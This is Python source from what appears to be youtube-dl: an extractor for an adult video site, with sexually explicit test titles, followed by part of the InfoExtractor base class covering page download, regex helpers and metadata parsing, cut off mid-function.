class PornComIE(InfoExtractor):
    _VALID_URL = r'https?://(?:[a-zA-Z]+\.)?porn\.com/videos/(?:(?P<display_id>[^/]+)-)?(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.porn.com/videos/teen-grabs-a-dildo-and-fucks-her-pussy-live-on-1hottie-i-rec-2603339',
        'md5': '3f30ce76267533cd12ba999263156de7',
        'info_dict': {
            'id': '2603339',
            'display_id': 'teen-grabs-a-dildo-and-fucks-her-pussy-live-on-1hottie-i-rec',
            'ext': 'mp4',
            'title': 'Teen grabs a dildo and fucks her pussy live on 1hottie, I rec',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 551,
            'view_count': int,
            'age_limit': 18,
        },
    }, {
        'url': 'http://se.porn.com/videos/marsha-may-rides-seth-on-top-of-his-thick-cock-2658067',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id') or video_id

        webpage = self._download_webpage(url, display_id)

        config = self._parse_json(
            self._search_regex(
                r'=\s*({.+?})\s*,\s*[\da-zA-Z_]+\s*=',
                webpage, 'config', default='{}'),
            display_id, transform_source=js_to_json, fatal=False)

        if config:
            title = config['title']
            formats = [{
                'url': stream['url'],
                'format_id': stream.get('id'),
                'height': int_or_none(self._search_regex(
                    r'^(\d+)[pP]', stream.get('id') or '', 'height', default=None))
            } for stream in config['streams'] if stream.get('url')]
            thumbnail = (compat_urlparse.urljoin(
                config['thumbCDN'], config['poster'])
                if config.get('thumbCDN') and config.get('poster') else None)
            duration = int_or_none(config.get('length'))
        else:
            title = self._search_regex(
                (r'<title>([^<]+)</title>', r'<h1[^>]*>([^<]+)</h1>'),
                webpage, 'title')
            formats = [{
                'url': compat_urlparse.urljoin(url, format_url),
                'format_id': '%sp' % height,
                'height': int(height),
                'filesize_approx': parse_filesize(filesize),
            } for format_url, height, filesize in re.findall(
                r'<a[^>]+href="(/download/[^"]+)">MPEG4 (\d+)p<span[^>]*>(\d+\s+[a-zA-Z]+)<',
                webpage)]
            thumbnail = None
            duration = None

        self._sort_formats(formats)

        view_count = str_to_int(self._search_regex(
            r'class=["\']views["\'][^>]*><p>([\d,.]+)', webpage, 'view count'))

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'view_count': view_count,
            'formats': formats,
            'age_limit': 18,
        }






from __future__ import unicode_literals

import base64
import datetime
import hashlib
import json
import netrc
import os
import re
import socket
import sys
import time
import math

from ..compat import (
    compat_cookiejar,
    compat_cookies,
    compat_etree_fromstring,
    compat_getpass,
    compat_http_client,
    compat_os_name,
    compat_str,
    compat_urllib_error,
    compat_urllib_parse_urlencode,
    compat_urllib_request,
    compat_urlparse,
)
from ..downloader.f4m import remove_encrypted_media
from ..utils import (
    NO_DEFAULT,
    age_restricted,
    bug_reports_message,
    clean_html,
    compiled_regex_type,
    determine_ext,
    error_to_compat_str,
    ExtractorError,
    fix_xml_ampersands,
    float_or_none,
    int_or_none,
    parse_iso8601,
    RegexNotFoundError,
    sanitize_filename,
    sanitized_Request,
    unescapeHTML,
    unified_strdate,
    unified_timestamp,
    url_basename,
    xpath_element,
    xpath_text,
    xpath_with_ns,
    determine_protocol,
    parse_duration,
    mimetype2ext,
    update_Request,
    update_url_query,
    parse_m3u8_attributes,
    extract_attributes,
    parse_codecs,
)


class InfoExtractor(object):
    """Information Extractor class.

    Information extractors are the classes that, given a URL, extract
    information about the video (or videos) the URL refers to. This
    information includes the real video URL, the video title, author and
    others. The information is stored in a dictionary which is then
    passed to the YoutubeDL. The YoutubeDL processes this
    information possibly downloading the video to the file system, among
    other possible outcomes.

    The type field determines the type of the result.
    By far the most common value (and the default if _type is missing) is
    "video", which indicates a single video.

    For a video, the dictionaries must include the following fields:

    id:             Video identifier.
    title:          Video title, unescaped.

    Additionally, it must contain either a formats entry or a url one:

    formats:        A list of dictionaries for each format available, ordered
                    from worst to best quality.

                    Potential fields:
                    * url        Mandatory. The URL of the video file
                    * ext        Will be calculated from URL if missing
                    * format     A human-readable description of the format
                                 ("mp4 container with h264/opus").
                                 Calculated from the format_id, width, height.
                                 and format_note fields if missing.
                    * format_id  A short description of the format
                                 ("mp4_h264_opus" or "19").
                                Technically optional, but strongly recommended.
                    * format_note Additional info about the format
                                 ("3D" or "DASH video")
                    * width      Width of the video, if known
                    * height     Height of the video, if known
                    * resolution Textual description of width and height
                    * tbr        Average bitrate of audio and video in KBit/s
                    * abr        Average audio bitrate in KBit/s
                    * acodec     Name of the audio codec in use
                    * asr        Audio sampling rate in Hertz
                    * vbr        Average video bitrate in KBit/s
                    * fps        Frame rate
                    * vcodec     Name of the video codec in use
                    * container  Name of the container format
                    * filesize   The number of bytes, if known in advance
                    * filesize_approx  An estimate for the number of bytes
                    * player_url SWF Player URL (used for rtmpdump).
                    * protocol   The protocol that will be used for the actual
                                 download, lower-case.
                                 "http", "https", "rtsp", "rtmp", "rtmpe",
                                 "m3u8", "m3u8_native" or "http_dash_segments".
                    * preference Order number of this format. If this field is
                                 present and not None, the formats get sorted
                                 by this field, regardless of all other values.
                                 -1 for default (order by other properties),
                                 -2 or smaller for less than default.
                                 < -1000 to hide the format (if there is
                                    another one which is strictly better)
                    * language   Language code, e.g. "de" or "en-US".
                    * language_preference  Is this in the language mentioned in
                                 the URL?
                                 10 if it's what the URL is about,
                                 -1 for default (don't know),
                                 -10 otherwise, other values reserved for now.
                    * quality    Order number of the video quality of this
                                 format, irrespective of the file format.
                                 -1 for default (order by other properties),
                                 -2 or smaller for less than default.
                    * source_preference  Order number for this video source
                                  (quality takes higher priority)
                                 -1 for default (order by other properties),
                                 -2 or smaller for less than default.
                    * http_headers  A dictionary of additional HTTP headers
                                 to add to the request.
                    * stretched_ratio  If given and not 1, indicates that the
                                 video's pixels are not square.
                                 width : height ratio as float.
                    * no_resume  The server does not support resuming the
                                 (HTTP or RTMP) download. Boolean.

    url:            Final video URL.
    ext:            Video filename extension.
    format:         The video format, defaults to ext (used for --get-format)
    player_url:     SWF Player URL (used for rtmpdump).

    The following fields are optional:

    alt_title:      A secondary title of the video.
    display_id      An alternative identifier for the video, not necessarily
                    unique, but available before title. Typically, id is
                    something like "4234987", title "Dancing naked mole rats",
                    and display_id "dancing-naked-mole-rats"
    thumbnails:     A list of dictionaries, with the following entries:
                        * "id" (optional, string) - Thumbnail format ID
                        * "url"
                        * "preference" (optional, int) - quality of the image
                        * "width" (optional, int)
                        * "height" (optional, int)
                        * "resolution" (optional, string "{width}x{height"},
                                        deprecated)
                        * "filesize" (optional, int)
    thumbnail:      Full URL to a video thumbnail image.
    description:    Full video description.
    uploader:       Full name of the video uploader.
    license:        License name the video is licensed under.
    creator:        The creator of the video.
    release_date:   The date (YYYYMMDD) when the video was released.
    timestamp:      UNIX timestamp of the moment the video became available.
    upload_date:    Video upload date (YYYYMMDD).
                    If not explicitly set, calculated from timestamp.
    uploader_id:    Nickname or id of the video uploader.
    uploader_url:   Full URL to a personal webpage of the video uploader.
    location:       Physical location where the video was filmed.
    subtitles:      The available subtitles as a dictionary in the format
                    {language: subformats}. "subformats" is a list sorted from
                    lower to higher preference, each element is a dictionary
                    with the "ext" entry and one of:
                        * "data": The subtitles file contents
                        * "url": A URL pointing to the subtitles file
                    "ext" will be calculated from URL if missing
    automatic_captions: Like 'subtitles', used by the YoutubeIE for
                    automatically generated captions
    duration:       Length of the video in seconds, as an integer or float.
    view_count:     How many users have watched the video on the platform.
    like_count:     Number of positive ratings of the video
    dislike_count:  Number of negative ratings of the video
    repost_count:   Number of reposts of the video
    average_rating: Average rating give by users, the scale used depends on the webpage
    comment_count:  Number of comments on the video
    comments:       A list of comments, each with one or more of the following
                    properties (all but one of text or html optional):
                        * "author" - human-readable name of the comment author
                        * "author_id" - user ID of the comment author
                        * "id" - Comment ID
                        * "html" - Comment as HTML
                        * "text" - Plain text of the comment
                        * "timestamp" - UNIX timestamp of comment
                        * "parent" - ID of the comment this one is replying to.
                                     Set to "root" to indicate that this is a
                                     comment to the original video.
    age_limit:      Age restriction for the video, as an integer (years)
    webpage_url:    The URL to the video webpage, if given to youtube-dl it
                    should allow to get the same result again. (It will be set
                    by YoutubeDL if it's missing)
    categories:     A list of categories that the video falls in, for example
                    ["Sports", "Berlin"]
    tags:           A list of tags assigned to the video, e.g. ["sweden", "pop music"]
    is_live:        True, False, or None (=unknown). Whether this video is a
                    live stream that goes on instead of a fixed-length video.
    start_time:     Time in seconds where the reproduction should start, as
                    specified in the URL.
    end_time:       Time in seconds where the reproduction should end, as
                    specified in the URL.

    The following fields should only be used when the video belongs to some logical
    chapter or section:

    chapter:        Name or title of the chapter the video belongs to.
    chapter_number: Number of the chapter the video belongs to, as an integer.
    chapter_id:     Id of the chapter the video belongs to, as a unicode string.

    The following fields should only be used when the video is an episode of some
    series or programme:

    series:         Title of the series or programme the video episode belongs to.
    season:         Title of the season the video episode belongs to.
    season_number:  Number of the season the video episode belongs to, as an integer.
    season_id:      Id of the season the video episode belongs to, as a unicode string.
    episode:        Title of the video episode. Unlike mandatory video title field,
                    this field should denote the exact title of the video episode
                    without any kind of decoration.
    episode_number: Number of the video episode within a season, as an integer.
    episode_id:     Id of the video episode, as a unicode string.

    The following fields should only be used when the media is a track or a part of
    a music album:

    track:          Title of the track.
    track_number:   Number of the track within an album or a disc, as an integer.
    track_id:       Id of the track (useful in case of custom indexing, e.g. 6.iii),
                    as a unicode string.
    artist:         Artist(s) of the track.
    genre:          Genre(s) of the track.
    album:          Title of the album the track belongs to.
    album_type:     Type of the album (e.g. "Demo", "Full-length", "Split", "Compilation", etc).
    album_artist:   List of all artists appeared on the album (e.g.
                    "Ash Borer / Fell Voices" or "Various Artists", useful for splits
                    and compilations).
    disc_number:    Number of the disc or other physical medium the track belongs to,
                    as an integer.
    release_year:   Year (YYYY) when the album was released.

    Unless mentioned otherwise, the fields should be Unicode strings.

    Unless mentioned otherwise, None is equivalent to absence of information.


    _type "playlist" indicates multiple videos.
    There must be a key "entries", which is a list, an iterable, or a PagedList
    object, each element of which is a valid dictionary by this specification.

    Additionally, playlists can have "title", "description" and "id" attributes
    with the same semantics as videos (see above).


    _type "multi_video" indicates that there are multiple videos that
    form a single show, for examples multiple acts of an opera or TV episode.
    It must have an entries key like a playlist and contain all the keys
    required for a video at the same time.


    _type "url" indicates that the video must be extracted from another
    location, possibly by a different extractor. Its only required key is:
    "url" - the next URL to extract.
    The key "ie_key" can be set to the class name (minus the trailing "IE",
    e.g. "Youtube") if the extractor class is known in advance.
    Additionally, the dictionary may have any properties of the resolved entity
    known in advance, for example "title" if the title of the referred video is
    known ahead of time.


    _type "url_transparent" entities have the same specification as "url", but
    indicate that the given additional information is more precise than the one
    associated with the resolved URL.
    This is useful when a site employs a video service that hosts the video and
    its technical metadata, but that video service does not embed a useful
    title, description etc.


    Subclasses of this one should re-define the _real_initialize() and
    _real_extract() methods and define a _VALID_URL regexp.
    Probably, they should also be added to the list of extractors.

    Finally, the _WORKING attribute should be set to False for broken IEs
    in order to warn the users and skip the tests.
    """

    _ready = False
    _downloader = None
    _WORKING = True

    def __init__(self, downloader=None):
        """Constructor. Receives an optional downloader."""
        self._ready = False
        self.set_downloader(downloader)

    @classmethod
    def suitable(cls, url):
        """Receives a URL and returns True if suitable for this IE."""

        # This does not use has/getattr intentionally - we want to know whether
        # we have cached the regexp for *this* class, whereas getattr would also
        # match the superclass
        if '_VALID_URL_RE' not in cls.__dict__:
            cls._VALID_URL_RE = re.compile(cls._VALID_URL)
        return cls._VALID_URL_RE.match(url) is not None

    @classmethod
    def _match_id(cls, url):
        if '_VALID_URL_RE' not in cls.__dict__:
            cls._VALID_URL_RE = re.compile(cls._VALID_URL)
        m = cls._VALID_URL_RE.match(url)
        assert m
        return m.group('id')

    @classmethod
    def working(cls):
        """Getter method for _WORKING."""
        return cls._WORKING

    def initialize(self):
        """Initializes an instance (authentication, etc)."""
        if not self._ready:
            self._real_initialize()
            self._ready = True

    def extract(self, url):
        """Extracts URL information and returns it in list of dicts."""
        try:
            self.initialize()
            return self._real_extract(url)
        except ExtractorError:
            raise
        except compat_http_client.IncompleteRead as e:
            raise ExtractorError('A network error has occurred.', cause=e, expected=True)
        except (KeyError, StopIteration) as e:
            raise ExtractorError('An extractor error has occurred.', cause=e)

    def set_downloader(self, downloader):
        """Sets the downloader for this IE."""
        self._downloader = downloader

    def _real_initialize(self):
        """Real initialization process. Redefine in subclasses."""
        pass

    def _real_extract(self, url):
        """Real extraction process. Redefine in subclasses."""
        pass

    @classmethod
    def ie_key(cls):
        """A string for getting the InfoExtractor with get_info_extractor"""
        return compat_str(cls.__name__[:-2])

    @property
    def IE_NAME(self):
        return compat_str(type(self).__name__[:-2])

    def _request_webpage(self, url_or_request, video_id, note=None, errnote=None, fatal=True, data=None, headers={}, query={}):
        """ Returns the response handle """
        if note is None:
            self.report_download_webpage(video_id)
        elif note is not False:
            if video_id is None:
                self.to_screen('%s' % (note,))
            else:
                self.to_screen('%s: %s' % (video_id, note))
        if isinstance(url_or_request, compat_urllib_request.Request):
            url_or_request = update_Request(
                url_or_request, data=data, headers=headers, query=query)
        else:
            if query:
                url_or_request = update_url_query(url_or_request, query)
            if data is not None or headers:
                url_or_request = sanitized_Request(url_or_request, data, headers)
        try:
            return self._downloader.urlopen(url_or_request)
        except (compat_urllib_error.URLError, compat_http_client.HTTPException, socket.error) as err:
            if errnote is False:
                return False
            if errnote is None:
                errnote = 'Unable to download webpage'

            errmsg = '%s: %s' % (errnote, error_to_compat_str(err))
            if fatal:
                raise ExtractorError(errmsg, sys.exc_info()[2], cause=err)
            else:
                self._downloader.report_warning(errmsg)
                return False

    def _download_webpage_handle(self, url_or_request, video_id, note=None, errnote=None, fatal=True, encoding=None, data=None, headers={}, query={}):
        """ Returns a tuple (page content as string, URL handle) """
        # Strip hashes from the URL (#1038)
        if isinstance(url_or_request, (compat_str, str)):
            url_or_request = url_or_request.partition('#')[0]

        urlh = self._request_webpage(url_or_request, video_id, note, errnote, fatal, data=data, headers=headers, query=query)
        if urlh is False:
            assert not fatal
            return False
        content = self._webpage_read_content(urlh, url_or_request, video_id, note, errnote, fatal, encoding=encoding)
        return (content, urlh)

    @staticmethod
    def _guess_encoding_from_content(content_type, webpage_bytes):
        m = re.match(r'[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+\s*;\s*charset=(.+)', content_type)
        if m:
            encoding = m.group(1)
        else:
            m = re.search(br'<meta[^>]+charset=[\'"]?([^\'")]+)[ /\'">]',
                          webpage_bytes[:1024])
            if m:
                encoding = m.group(1).decode('ascii')
            elif webpage_bytes.startswith(b'\xff\xfe'):
                encoding = 'utf-16'
            else:
                encoding = 'utf-8'

        return encoding

    def _webpage_read_content(self, urlh, url_or_request, video_id, note=None, errnote=None, fatal=True, prefix=None, encoding=None):
        content_type = urlh.headers.get('Content-Type', '')
        webpage_bytes = urlh.read()
        if prefix is not None:
            webpage_bytes = prefix + webpage_bytes
        if not encoding:
            encoding = self._guess_encoding_from_content(content_type, webpage_bytes)
        if self._downloader.params.get('dump_intermediate_pages', False):
            try:
                url = url_or_request.get_full_url()
            except AttributeError:
                url = url_or_request
            self.to_screen('Dumping request to ' + url)
            dump = base64.b64encode(webpage_bytes).decode('ascii')
            self._downloader.to_screen(dump)
        if self._downloader.params.get('write_pages', False):
            try:
                url = url_or_request.get_full_url()
            except AttributeError:
                url = url_or_request
            basen = '%s_%s' % (video_id, url)
            if len(basen) > 240:
                h = '___' + hashlib.md5(basen.encode('utf-8')).hexdigest()
                basen = basen[:240 - len(h)] + h
            raw_filename = basen + '.dump'
            filename = sanitize_filename(raw_filename, restricted=True)
            self.to_screen('Saving request to ' + filename)
            # Working around MAX_PATH limitation on Windows (see
            # http://msdn.microsoft.com/en-us/library/windows/desktop/aa365247(v=vs.85).aspx)
            if compat_os_name == 'nt':
                absfilepath = os.path.abspath(filename)
                if len(absfilepath) > 259:
                    filename = '\\\\?\\' + absfilepath
            with open(filename, 'wb') as outf:
                outf.write(webpage_bytes)

        try:
            content = webpage_bytes.decode(encoding, 'replace')
        except LookupError:
            content = webpage_bytes.decode('utf-8', 'replace')

        if ('<title>Access to this site is blocked</title>' in content and
                'Websense' in content[:512]):
            msg = 'Access to this webpage has been blocked by Websense filtering software in your network.'
            blocked_iframe = self._html_search_regex(
                r'<iframe src="([^"]+)"', content,
                'Websense information URL', default=None)
            if blocked_iframe:
                msg += ' Visit %s for more details' % blocked_iframe
            raise ExtractorError(msg, expected=True)
        if '<title>The URL you requested has been blocked</title>' in content[:512]:
            msg = (
                'Access to this webpage has been blocked by Indian censorship. '
                'Use a VPN or proxy server (with --proxy) to route around it.')
            block_msg = self._html_search_regex(
                r'</h1><p>(.*?)</p>',
                content, 'block message', default=None)
            if block_msg:
                msg += ' (Message: "%s")' % block_msg.replace('\n', ' ')
            raise ExtractorError(msg, expected=True)

        return content

    def _download_webpage(self, url_or_request, video_id, note=None, errnote=None, fatal=True, tries=1, timeout=5, encoding=None, data=None, headers={}, query={}):
        """ Returns the data of the page as a string """
        success = False
        try_count = 0
        while success is False:
            try:
                res = self._download_webpage_handle(url_or_request, video_id, note, errnote, fatal, encoding=encoding, data=data, headers=headers, query=query)
                success = True
            except compat_http_client.IncompleteRead as e:
                try_count += 1
                if try_count >= tries:
                    raise e
                self._sleep(timeout, video_id)
        if res is False:
            return res
        else:
            content, _ = res
            return content

    def _download_xml(self, url_or_request, video_id,
                      note='Downloading XML', errnote='Unable to download XML',
                      transform_source=None, fatal=True, encoding=None, data=None, headers={}, query={}):
        """Return the xml as an xml.etree.ElementTree.Element"""
        xml_string = self._download_webpage(
            url_or_request, video_id, note, errnote, fatal=fatal, encoding=encoding, data=data, headers=headers, query=query)
        if xml_string is False:
            return xml_string
        if transform_source:
            xml_string = transform_source(xml_string)
        return compat_etree_fromstring(xml_string.encode('utf-8'))

    def _download_json(self, url_or_request, video_id,
                       note='Downloading JSON metadata',
                       errnote='Unable to download JSON metadata',
                       transform_source=None,
                       fatal=True, encoding=None, data=None, headers={}, query={}):
        json_string = self._download_webpage(
            url_or_request, video_id, note, errnote, fatal=fatal,
            encoding=encoding, data=data, headers=headers, query=query)
        if (not fatal) and json_string is False:
            return None
        return self._parse_json(
            json_string, video_id, transform_source=transform_source, fatal=fatal)

    def _parse_json(self, json_string, video_id, transform_source=None, fatal=True):
        if transform_source:
            json_string = transform_source(json_string)
        try:
            return json.loads(json_string)
        except ValueError as ve:
            errmsg = '%s: Failed to parse JSON ' % video_id
            if fatal:
                raise ExtractorError(errmsg, cause=ve)
            else:
                self.report_warning(errmsg + str(ve))

    def report_warning(self, msg, video_id=None):
        idstr = '' if video_id is None else '%s: ' % video_id
        self._downloader.report_warning(
            '[%s] %s%s' % (self.IE_NAME, idstr, msg))

    def to_screen(self, msg):
        """Print msg to screen, prefixing it with '[ie_name]'"""
        self._downloader.to_screen('[%s] %s' % (self.IE_NAME, msg))

    def report_extraction(self, id_or_name):
        """Report information extraction."""
        self.to_screen('%s: Extracting information' % id_or_name)

    def report_download_webpage(self, video_id):
        """Report webpage download."""
        self.to_screen('%s: Downloading webpage' % video_id)

    def report_age_confirmation(self):
        """Report attempt to confirm age."""
        self.to_screen('Confirming age')

    def report_login(self):
        """Report attempt to log in."""
        self.to_screen('Logging in')

    @staticmethod
    def raise_login_required(msg='This video is only available for registered users'):
        raise ExtractorError(
            '%s. Use --username and --password or --netrc to provide account credentials.' % msg,
            expected=True)

    @staticmethod
    def raise_geo_restricted(msg='This video is not available from your location due to geo restriction'):
        raise ExtractorError(
            '%s. You might want to use --proxy to workaround.' % msg,
            expected=True)

    # Methods for following #608
    @staticmethod
    def url_result(url, ie=None, video_id=None, video_title=None):
        """Returns a URL that points to a page that should be processed"""
        # TODO: ie should be the class used for getting the info
        video_info = {'_type': 'url',
                      'url': url,
                      'ie_key': ie}
        if video_id is not None:
            video_info['id'] = video_id
        if video_title is not None:
            video_info['title'] = video_title
        return video_info

    @staticmethod
    def playlist_result(entries, playlist_id=None, playlist_title=None, playlist_description=None):
        """Returns a playlist"""
        video_info = {'_type': 'playlist',
                      'entries': entries}
        if playlist_id:
            video_info['id'] = playlist_id
        if playlist_title:
            video_info['title'] = playlist_title
        if playlist_description:
            video_info['description'] = playlist_description
        return video_info

    def _search_regex(self, pattern, string, name, default=NO_DEFAULT, fatal=True, flags=0, group=None):
        """
        Perform a regex search on the given string, using a single or a list of
        patterns returning the first matching group.
        In case of failure return a default value or raise a WARNING or a
        RegexNotFoundError, depending on fatal, specifying the field name.
        """
        if isinstance(pattern, (str, compat_str, compiled_regex_type)):
            mobj = re.search(pattern, string, flags)
        else:
            for p in pattern:
                mobj = re.search(p, string, flags)
                if mobj:
                    break

        if not self._downloader.params.get('no_color') and compat_os_name != 'nt' and sys.stderr.isatty():
            _name = '\033[0;34m%s\033[0m' % name
        else:
            _name = name

        if mobj:
            if group is None:
                # return the first matching group
                return next(g for g in mobj.groups() if g is not None)
            else:
                return mobj.group(group)
        elif default is not NO_DEFAULT:
            return default
        elif fatal:
            raise RegexNotFoundError('Unable to extract %s' % _name)
        else:
            self._downloader.report_warning('unable to extract %s' % _name + bug_reports_message())
            return None

    def _html_search_regex(self, pattern, string, name, default=NO_DEFAULT, fatal=True, flags=0, group=None):
        """
        Like _search_regex, but strips HTML tags and unescapes entities.
        """
        res = self._search_regex(pattern, string, name, default, fatal, flags, group)
        if res:
            return clean_html(res).strip()
        else:
            return res

    def _get_netrc_login_info(self, netrc_machine=None):
        username = None
        password = None
        netrc_machine = netrc_machine or self._NETRC_MACHINE

        if self._downloader.params.get('usenetrc', False):
            try:
                info = netrc.netrc().authenticators(netrc_machine)
                if info is not None:
                    username = info[0]
                    password = info[2]
                else:
                    raise netrc.NetrcParseError('No authenticators for %s' % netrc_machine)
            except (IOError, netrc.NetrcParseError) as err:
                self._downloader.report_warning('parsing .netrc: %s' % error_to_compat_str(err))

        return (username, password)

    def _get_login_info(self):
        """
        Get the login info as (username, password)
        It will look in the netrc file using the _NETRC_MACHINE value
        If there's no info available, return (None, None)
        """
        if self._downloader is None:
            return (None, None)

        username = None
        password = None
        downloader_params = self._downloader.params

        # Attempt to use provided username and password or .netrc data
        if downloader_params.get('username') is not None:
            username = downloader_params['username']
            password = downloader_params['password']
        else:
            username, password = self._get_netrc_login_info()

        return (username, password)

    def _get_tfa_info(self, note='two-factor verification code'):
        """
        Get the two-factor authentication info
        TODO - asking the user will be required for sms/phone verify
        currently just uses the command line option
        If there's no info available, return None
        """
        if self._downloader is None:
            return None
        downloader_params = self._downloader.params

        if downloader_params.get('twofactor') is not None:
            return downloader_params['twofactor']

        return compat_getpass('Type %s and press [Return]: ' % note)

    # Helper functions for extracting OpenGraph info
    @staticmethod
    def _og_regexes(prop):
        content_re = r'content=(?:"([^"]+?)"|\'([^\']+?)\'|\s*([^\s"\'=<>`]+?))'
        property_re = (r'(?:name|property)=(?:\'og:%(prop)s\'|"og:%(prop)s"|\s*og:%(prop)s\b)'
                       % {'prop': re.escape(prop)})
        template = r'<meta[^>]+?%s[^>]+?%s'
        return [
            template % (property_re, content_re),
            template % (content_re, property_re),
        ]

    @staticmethod
    def _meta_regex(prop):
        return r'''(?isx)<meta
                    (?=[^>]+(?:itemprop|name|property|id|http-equiv)=(["\']?)%s\1)
                    [^>]+?content=(["\'])(?P<content>.*?)\2''' % re.escape(prop)

    def _og_search_property(self, prop, html, name=None, **kargs):
        if not isinstance(prop, (list, tuple)):
            prop = [prop]
        if name is None:
            name = 'OpenGraph %s' % prop[0]
        og_regexes = []
        for p in prop:
            og_regexes.extend(self._og_regexes(p))
        escaped = self._search_regex(og_regexes, html, name, flags=re.DOTALL, **kargs)
        if escaped is None:
            return None
        return unescapeHTML(escaped)

    def _og_search_thumbnail(self, html, **kargs):
        return self._og_search_property('image', html, 'thumbnail URL', fatal=False, **kargs)

    def _og_search_description(self, html, **kargs):
        return self._og_search_property('description', html, fatal=False, **kargs)

    def _og_search_title(self, html, **kargs):
        return self._og_search_property('title', html, **kargs)

    def _og_search_video_url(self, html, name='video url', secure=True, **kargs):
        regexes = self._og_regexes('video') + self._og_regexes('video:url')
        if secure:
            regexes = self._og_regexes('video:secure_url') + regexes
        return self._html_search_regex(regexes, html, name, **kargs)

    def _og_search_url(self, html, **kargs):
        return self._og_search_property('url', html, **kargs)

    def _html_search_meta(self, name, html, display_name=None, fatal=False, **kwargs):
        if not isinstance(name, (list, tuple)):
            name = [name]
        if display_name is None:
            display_name = name[0]
        return self._html_search_regex(
            [self._meta_regex(n) for n in name],
            html, display_name, fatal=fatal, group='content', **kwargs)

    def _dc_search_uploader(self, html):
        return self._html_search_meta('dc.creator', html, 'uploader')

    def _rta_search(self, html):
        # See http://www.rtalabel.org/index.php?content=howtofaq#single
        if re.search(r'(?ix)<meta\s+name="rating"\s+'
                     r'     content="RTA-5042-1996-1400-1577-RTA"',
                     html):
            return 18
        return 0

    def _media_rating_search(self, html):
        # See http://www.tjg-designs.com/WP/metadata-code-examples-adding-metadata-to-your-web-pages/
        rating = self._html_search_meta('rating', html)

        if not rating:
            return None

        RATING_TABLE = {
            'safe for kids': 0,
            'general': 8,
            '14 years': 14,
            'mature': 17,
            'restricted': 19,
        }
        return RATING_TABLE.get(rating.lower())

    def _family_friendly_search(self, html):
        # See http://schema.org/VideoObject
        family_friendly = self._html_search_meta('isFamilyFriendly', html)

        if not family_friendly:
            return None

        RATING_TABLE = {
            '1': 0,
            'true': 0,
            '0': 18,
            'false': 18,
        }
        return RATING_TABLE.get(family_friendly.lower())

    def _twitter_search_player(self, html):
        return self._html_search_meta('twitter:player', html,
                                      'twitter card player')

    def _search_json_ld(self, html, video_id, expected_type=None, **kwargs):
        json_ld = self._search_regex(
            r'(?s)<script[^>]+type=(["\'])application/ld\+json\1[^>]*>(?P<json_ld>.+?)</script>',
            html, 'JSON-LD', group='json_ld', **kwargs)
        default = kwargs.get('default', NO_DEFAULT)
        if not json_ld:
            return default if default is not NO_DEFAULT else {}
        # JSON-LD may be malformed and thus `fatal` should be respected.
        # At the same time `default` may be passed that assumes `fatal=False`
        # for _search_regex. Let's simulate the same behavior here as well.
        fatal = kwargs.get('fatal', True) if default == NO_DEFAULT else False
        return self._json_ld(json_ld, video_id, fatal=fatal, expected_type=expected_type)

    def _json_ld(self, json_ld, video_id, fatal=True, expected_type=None):
        if isinstance(json_ld, compat_str):
            json_ld = self._parse_json(json_ld, video_id, fatal=fatal)
        if not json_ld:
            return {}
        info = {}
        if not isinstance(json_ld, (list, tuple, dict)):
            return info
        if isinstance(json_ld, dict):
            json_ld = [json_ld]
        for e in json_ld:
            if e.get('@context') == 'http://schema.org':
                item_type = e.get('@type')
                if expected_type is not None and expected_type != item_type:
                    return info
                if item_type == 'TVEpisode':
                    info.update({
                        'episode': unescapeHTML(e.get('name')),
                        'episode_number': int_or_none(e.get('episodeNumber')),
                        'description': unescapeHTML(e.get('description')),
                    })
                    part_of_season = e.get('partOfSeason')
                    if isinstance(part_of_season, dict) and part_of_season.get('@type') == 'TVSeason':
                        info['season_number'] = int_or_none(part_of_season.get('seasonNumber'))
                    part_of_series = e.get('partOfSeries') or e.get('partOfTVSeries')
                    if isinstance(part_of_series, dict) and part_of_series.get('@type') == 'TVSeries':
                        info['series'] = unescapeHTML(part_of_series.get('name'))
                elif item_type == 'Article':
                    info.update({
                        'timestamp': parse_iso8601(e.get('datePublished')),
                        'title': unescapeHTML(e.get('headline')),
                        'description': unescapeHTML(e.get('articleBody')),
                    })
                elif item_type == 'VideoObject':
                    info.update({
                        'url': e.get('contentUrl'),
                        'title': unescapeHTML(e.get('name')),
                        'description': unescapeHTML(e.get('description')),
                        'thumbnail': e.get('thumbnailUrl'),
                        'duration': parse_duration(e.get('duration')),
                        'timestamp': unified_timestamp(e.get('uploadDate')),
                        'filesize': float_or_none(e.get('contentSize')),
                        'tbr': int_or_none(e.get('bitrate')),
                        'width': int_or_none(e.get('width')),
                        'height': int_or_none(e.get('height')),
                    })
                break
        return dict((k, v) for k, v in info.items() if v is not None)

    @staticmethod
    def _hidden_inputs(html):
        html = re.sub(r'<!--(?:(?!<!--).)*-->', '', html)
        hidden_inputs = {}
        for input in re.findall(r'(?i)<input([^>]+)>', html):
            if not re.search(r'type=(["\'])(?:hidden|submit)\1', input):
                continue
            name = re.search(r'(?:name|id)=(["\'])(?P<value>.+?)\1', input)
            if not name:
                continue
            value = re.search(r'value=(["\'])(?P<value>.*?)\1', input)
            if not value:
                continue
            hidden_inputs[name.group('value')] = value.group('value')
        return hidden_inputs

    def _form_hidden_inputs(self, form_id, html):
        form = self._search_regex(
            r'(?is)<form[^>]+?id=(["\'])%s\1[^>]*>(?P<form>.+?)</form>' % form_id,
            html, '%s form' % form_id, group='form')
        return self._hidden_inputs(form)

    def _sort_formats(self, formats, field_preference=None):
        if not formats:
            raise ExtractorError('No video formats found')

        for f in formats:
            # Automatically determine tbr when missing based on abr and vbr (improves
            # formats sorting in some cases)
            if 'tbr' not in f and f.get('abr') is not None and f.get('vbr') is not None:
                f['tbr'] = f['abr'] + f['vbr']

        def _formats_key(f):
            # TODO remove the following workaround
            from ..utils import determine_ext
            if not f.get('ext') and 'url' in f:
                f['ext'] = determine_ext(f['url'])

            if isinstance(field_preference, (list, tuple)):
                return tuple(
                    f.get(field)
                    if f.get(field) is not None
                    else ('' if field == 'format_id' else -1)
                    for field in field_preference)

            preference = f.get('preference')
            if preference is None:
                preference = 0
                if f.get('ext') in ['f4f', 'f4m']:  # Not yet supported
                    preference -= 0.5

            protocol = f.get('protocol') or determine_protocol(f)
